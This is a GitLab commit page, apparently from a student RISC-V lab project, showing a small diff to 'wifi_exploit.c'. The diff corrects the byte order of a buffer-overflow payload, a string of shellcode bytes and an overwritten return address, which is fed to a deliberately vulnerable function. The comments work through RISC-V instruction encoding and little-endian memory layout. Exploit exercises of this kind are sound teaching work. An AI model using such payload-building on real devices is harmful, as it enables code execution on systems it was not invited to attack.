Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
R
risc-v-wifi
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Iterations
Wiki
Requirements
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Locked files
Build
Pipelines
Jobs
Pipeline schedules
Test cases
Artifacts
Deploy
Releases
Package registry
Container registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Code review analytics
Issue analytics
Insights
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
SWPws2020
risc-v-wifi
Commits
d152b128
Commit
d152b128
authored
4 years ago
by
fptk
Browse files
Options
Downloads
Patches
Plain Diff
correct endianess
parent
6851d775
No related branches found
No related tags found
No related merge requests found
Changes
1
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
sifive_software/src/wifi_exploit.c
+7
-2
7 additions, 2 deletions
sifive_software/src/wifi_exploit.c
with
7 additions
and
2 deletions
sifive_software/src/wifi_exploit.c
+
7
−
2
View file @
d152b128
...
@@ -100,6 +100,7 @@ char *attack_me(char *data, uint32_t data_len) {
...
@@ -100,6 +100,7 @@ char *attack_me(char *data, uint32_t data_len) {
* 0x80000f37
* 0x80000f37
* 0x1f
* 0x1f
* 0x0
* 0x0
* H=6C6C6148 Hall
*/
*/
int
main
(
void
)
{
int
main
(
void
)
{
...
@@ -116,7 +117,11 @@ int main(void) {
...
@@ -116,7 +117,11 @@ int main(void) {
//char *attack = "a12342234324452346234723482349234HAHA\x80\x12\x01\x20\xca\x13\x01\x20";
//char *attack = "a12342234324452346234723482349234HAHA\x80\x12\x01\x20\xca\x13\x01\x20";
//buffer address
//buffer address
/*
/*
* RISC SPEICHER:
* MSB LSB
* 6C6C6148 = 'Hall' | 6c =108 = l
http://csci206sp2020.courses.bucknell.edu/files/2020/01/riscv-card.pdf
http://csci206sp2020.courses.bucknell.edu/files/2020/01/riscv-card.pdf
lsb MSB
0 ...... 31
0 ...... 31
Lui a5,0x80001
Lui a5,0x80001
0110 1110 0001 1111 0011 1000 1000 0001
0110 1110 0001 1111 0011 1000 1000 0001
...
@@ -162,7 +167,8 @@ the new return address:
...
@@ -162,7 +167,8 @@ the new return address:
*/
*/
char
*
attack
=
"a0aaa1aaa2aaa3aaa
\x6e\x1f\x38\x81\x06\xe4\xea\xa1\x26\xa0\xe0\x01\xde\x01\x13\xca\x12\x23\x34\x45\x50\x0f\x00\x80
"
;
char
*
attack
=
"a0aaa1aaa2aaa3aaa
\x6e\x1f\x38\x81\x06\xe4\xea\xa1\x26\xa0\xe0\x01\xde\x01\x13\xca\x12\x23\x34\x45\x50\x0f\x00\x80
"
;
char
*
result
=
attack_me
(
attack
,
26
);
char
*
revattack
=
"a0aaa1aaa2aaa3aaa
\x81\x38\x1f\x6e\xa1\xea\xe4\x06\x01\xe0\xa0\x26\xca\x13\x01\xde\x45\x34\x23\x12\x58\x0f\x00\x80
"
;
char
*
result
=
attack_me
(
revattack
,
26
);
printf
(
"%s"
,
result
);
printf
(
"%s"
,
result
);
...
@@ -182,4 +188,3 @@ the new return address:
...
@@ -182,4 +188,3 @@ the new return address:
return
0
;
return
0
;
}
}
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment